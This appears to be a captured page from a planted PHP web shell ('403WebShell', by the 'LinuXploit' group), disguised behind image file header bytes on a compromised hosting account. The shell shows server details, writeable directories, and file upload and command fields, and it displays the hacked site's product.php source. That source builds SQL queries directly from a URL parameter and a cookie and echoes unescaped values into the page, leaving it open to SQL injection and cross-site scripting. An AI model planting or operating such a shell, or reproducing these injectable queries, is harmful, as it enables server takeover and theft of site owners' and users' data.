����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 3.15.211.55
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/bm1holdings-ltd.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/bm1holdings-ltd.com/product.php
<?php
include './assets/php/connect.php';
include './assets/php/time.php';
include './assets/php/filterFile.php';

if (isset($_GET['pid'])) {
    if (!empty($_GET['pid'])) {
        $pid = $_GET['pid'];
        $query = "SELECT `image`,`product`,`price`,`discount`,`category`,`description`,UNIX_TIMESTAMP() -`time` as time_spent FROM `products` WHERE `pid`='$pid'";
        $run = mysqli_query($conn, $query) or die(mysqli_error($conn));
        $count = mysqli_num_rows($run);
        list($image, $product, $price, $discount, $category, $description, $time_spent) = mysqli_fetch_array($run);
    }
}
//selecting user data
if (isset($_COOKIE['uid'])) {
    $user = $_COOKIE['uid'];
    $query1 = "SELECT `firstname`,`surname`,`email`,`mobile`,`password` FROM `users` WHERE `uid`='$user'";
    if ($run1 = mysqli_query($conn, $query1)) {
        list($firstname, $surname, $email, $mobile, $password) = mysqli_fetch_array($run1);
    } else {
        die(mysqli_error($conn));
    }
}

?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <title></title>

    <link rel="icon" type="image/png" href="assets/img/logo.png">

    <link href="https://fonts.googleapis.com/css?family=Poppins:200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i&amp;display=swap" rel="stylesheet">

    <script type='text/javascript' src='//platform-api.sharethis.com/js/sharethis.js#property=5b67c4f0f3815e0011ed2735&product=inline-share-buttons' async='async'></script>

    <link rel="stylesheet" href="assets/css/bootstrap.min.css">
    <link rel="stylesheet" href="assets/css/magnific-popup.min.css">
    <link rel="stylesheet" href="assets/css/fontawesome.min.css">
    <link rel="stylesheet" href="assets/css/jquery.fancybox.min.css">
    <link rel="stylesheet" href="assets/css/jquery-ui.css">
    <link rel="stylesheet" href="assets/css/themify-icons.css">
    <link rel="stylesheet" href="assets/css/flaticon.css">
    <link rel="stylesheet" href="assets/css/niceselect.css">
    <link rel="stylesheet" href="assets/css/animate.css">
    <link rel="stylesheet" href="assets/css/flex-slider.min.css">
    <link rel="stylesheet" href="assets/css/owl-carousel.css">
    <link rel="stylesheet" href="assets/css/slicknav.min.css">
    <link rel="stylesheet" href="assets/css/default.css">
    <link rel="stylesheet" href="assets/css/style.css">
    <link rel="stylesheet" href="assets/css/responsive.css">
    <link rel="stylesheet" href="assets/css/aos.css">
    <link rel="stylesheet" href="assets/css/icomoon/style.css">
    <script src="./assets/js/sweetalert.min.js"></script>

    <!--open graph codes-->
    <meta property="og:url" content="https://bm1holdings-ltd.com/product.php?pid=<?php echo $pid; ?>" />
    <meta property="og:type" content="website" />
    <meta property="og:title" content="<?php echo $product; ?>" />
    <meta property="og:image" content="https://bm1holdings-ltd.com/assets/products/<?php echo $image; ?>" />
    <meta property="og:image:width" content="1200" />
    <meta property="og:image:height" content="630" />
    <meta property="og:description" content="K<?php echo $discount; ?>" />
    <meta property="fb:app_id" content="197362031139140" />
</head>

<body>

    <div class="preloader">
        <div class="preloader-inner">
            <div class="preloader-icon">
                <span></span>
                <span></span>
            </div>
        </div>
    </div>


    <header class="header shop">
        <div class="middle-inner">
            <div class="container">
                <div class="row">
                    <div class="col-lg-3 col-md-3 col-12">

                        <div class="logo">
                            <a href="home"><img src="assets/img/logo.png" alt="logo"></a>
                        </div>

                        <div class="search-top">
                            <div class="top-search"><a href="#0"><i class="far fa-search"></i></a></div>

                            <div class="search-top">
                                <form action="search" method="POST" class="search-form">
                                    <input type="text" placeholder="Search here..." name="search">
                                    <input type="hidden" name="category" value="all">
                                    <button type="submit" name="submit"><i class="far fa-search"></i></button>
                                </form>
                            </div>
                        </div>

                        <div class="mobile-nav"></div>
                    </div>
                    <div class="col-lg-7 col-md-6 col-12">
                        <form action="search" method="POST">
                            <div class="search-bar-top">
                                <div class="search-bar">
                                    <select name="category">
                                        <option selected="selected" value="all">All Category</option>
                                        <?php
                                        $query = "SELECT * FROM `categories` ORDER BY `sort` ASC";
                                        $run = mysqli_query($conn, $query) or die(mysqli_error($conn));
                                        while ($row = mysqli_fetch_array($run)) {
                                        ?>
                                            <option value="<?php echo $row['category']; ?>"><?php echo $row['category']; ?></option>
                                        <?php
                                        }
                                        ?>
                                    </select>
                                    <input name="search" placeholder="Search Products Here....." type="search">
                                    <button class="btnn" type="submit" name="submit"><i class="far fa-search"></i></button>
                                </div>
                            </div>
                        </form>
                    </div>
                </div>
            </div>
        </div>

        <div class="header-inner  shadow">
            <div class="container">
                <div class="cat-nav-head">
                    <div class="row">

                        <div class="col-lg-9 col-12">
                            <div class="menu-area">

                                <nav class="navbar navbar-expand-lg">
                                    <div class="navbar-collapse">
                                        <div class="nav-inner">
                                            <ul class="nav main-menu menu navbar-nav">
                                                <li><a href="home"><span class="fa fa-home"></span> HOME</a></li>
                                                <li><a href="services">SERVICES</a></li>
                                                <li><a href="products?category=Phones">PRODUCTS</a></li>
                                                <li><a href="clients">CLIENTS</a></li>
                                                <li><a href="about-us">ABOUT</a></li>
                                                <li><a href="team">TEAM</a></li>
                                                <li><a href="contact-us">CONTACT</a></li>
                                                <?php
                                                if (isset($user)) {
                                                ?>
                                                    <li><a href="#"><?php echo strtoupper($firstname); ?><i class="ti-angle-down"></i></a>
                                                        <ul class="dropdown">
                                                            <li><a href="edit-profile"><i class="fa fa-user-edit"></i> Edit Profile</a></li>
                                                            <li><a href="product-list?category=Phones"><i class="fa fa-layer-group"></i> Product list</a></li>
                                                            <li><a href="team-list"><i class="fa fa-users"></i> Team List</a></li>
                                                            <li><a href="logout"><i class="fa fa-sign-out"></i> Logout</a></li>
                                                        </ul>
                                                    </li>
                                                <?php
                                                }
                                                ?>

                                            </ul>
                                        </div>
                                    </div>
                                </nav>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>

    </header>

    <div class="breadcrumbs">
        <div class="container">
            <div class="row">
                <div class="col-12">
                    <div class="bread-inner">
                        <ul class="bread-list">
                            <li><a href="home">Home<i class="ti-arrow-right"></i></a></li>
                            <li><a href="products?category=Phones">Products<i class="ti-arrow-right"></i></a></li>
                            <li class="active"><a href="#"><?php echo $product; ?></a></li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </div>


    <section class="shop single section">
        <div class="container">
            <div class="row">
                <div class="col-12">
                    <div class="row">
                        <div class="col-lg-5 col-12">

                            <div class="product-gallery">
                                <div class="flexslider-thumbnails">
                                    <ul class="slides">
                                        <li data-thumb="assets/products/<?php echo $image; ?>" rel="adjustX:10, adjustY:">
                                            <img src="assets/products/<?php echo $image; ?>" alt="#">
                                        </li>
                                    </ul>
                                </div>
                            </div>

                        </div>
                        <div class="col-lg-7 col-12">
                            <div class="product-des">

                                <div class="short">
                                    <h4><?php echo $product; ?></h4>
                                    <div class="rating-main">
                                        <ul class="rating">
                                            <li><i class="fas fa-star"></i></li>
                                            <li><i class="fas fa-star"></i></li>
                                            <li><i class="fas fa-star"></i></li>
                                            <li><i class="fas fa-star"></i></li>
                                            <li><i class="fal fa-star"></i></li>
                                        </ul>
                                        <a href="#" class="total-review"></a>
                                    </div>
                                    <p class="price"><span class="discount">K<?php echo $discount; ?></span><s>K<?php echo $price; ?></s> </p>
                                    <p class="description"><?php echo $description; ?></p>
                                </div>

                                <div class="product-buy">
                                    <div class="add-to-cart">
                                        <a href="tel:0997844055" class="btn min"><i class="far fa-phone"></i></a>
                                        <a href="mailto:bm1holdingsltd247@gmail.com" class="btn min"><i class="far fa-envelope"></i></a>
                                        <a href="https://www.facebook.com/profile.php?id=100089001308929" class="btn min"><i class="fab fa-facebook-f"></i></a>
                                        <a href="https://instagram.com/bm_one_electronics?igshid=YmMyMTA2M2Y=" class="btn min"><i class="fab fa-instagram"></i></a>
                                        <a href="https://wa.me/265997844055?text=[bm1holdings-ltd.com].%20Hi%20I%20am%20interested%20in%20buying%20your%20product%20(<?php echo $product . ")%20at%20K" . $discount . ".Lets%20talk%20about%20it.%20Thank%20you."; ?>" class="btn min"><i class="fab fa-whatsapp"></i></a>
                                    </div>
                                    <div class="single-product-info">
                                        <p>Category :<a href="#"><?php echo $category; ?></a></p>
                                        <p>Added :<a href="#"><?php echo timeSpent($time_spent); ?></a></p>
                                    </div>
                                </div>

                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <!-- share button -->
            <div class="sharethis-inline-share-buttons"></div>
        </div>
    </section>

    <div class="product-area most-popular related-product section">
        <div class="container">
            <div class="row">
                <div class="col-12">
                    <div class="section-title">
                        <h2>Related Products</h2>
                    </div>
                </div>
            </div>
            <div class="row">
                <div class="col-12">
                    <div class="row">
                        <?php
                        $query = "SELECT * FROM `products` WHERE `category`='$category' AND `pid`!=$pid ORDER BY `pid` DESC LIMIT 4";
                        $run = mysqli_query($conn, $query) or die(mysqli_error($conn));
                        while ($row = mysqli_fetch_array($run)) {
                        ?>
                            <div class="col-lg-3 col-md-4 col-sm-6 col-12 mb-4">
                                <div class="single-product">
                                    <div class="product-img">
                                        <a href="product=<?php echo filter_file($row['pid'] . '-' . $row['product']); ?>">
                                            <img class="product-img" src="assets/products/<?php echo $row['image']; ?>" alt="<?php echo $row['product']; ?>">
                                        </a>
                                    </div>
                                    <div class="product-content">
                                        <h3><a href="product=<?php echo filter_file($row['pid'] . '-' . $row['product']); ?>"><?php echo $row['product']; ?></a></h3>
                                        <div class="product-rate">
                                            <i class="fas fa-star"></i>
                                            <i class="fas fa-star"></i>
                                            <i class="fas fa-star"></i>
                                            <i class="fas fa-star"></i>
                                            <i class="far fa-star"></i>
                                        </div>
                                        <div class="d-flex justify-content-between">
                                            <div class="product-price">
                                                <span class="old">K<?php echo $row['price']; ?></span>
                                                <span>K<?php echo $row['discount']; ?></span>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        <?php
                        }
                        ?>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <?php
    include './footer.php';
    include './scripts.php';
    ?>
    <script>
        document.querySelector("title").innerText = "<?php echo $product; ?>";
        document.querySelectorAll(".menu-area ul li")[2].classList.add("active");
        document.querySelectorAll(".slicknav_nav li a")[2].style.color = "blue";
    </script>

Youez - 2016 - github.com/yon3zu
LinuXploit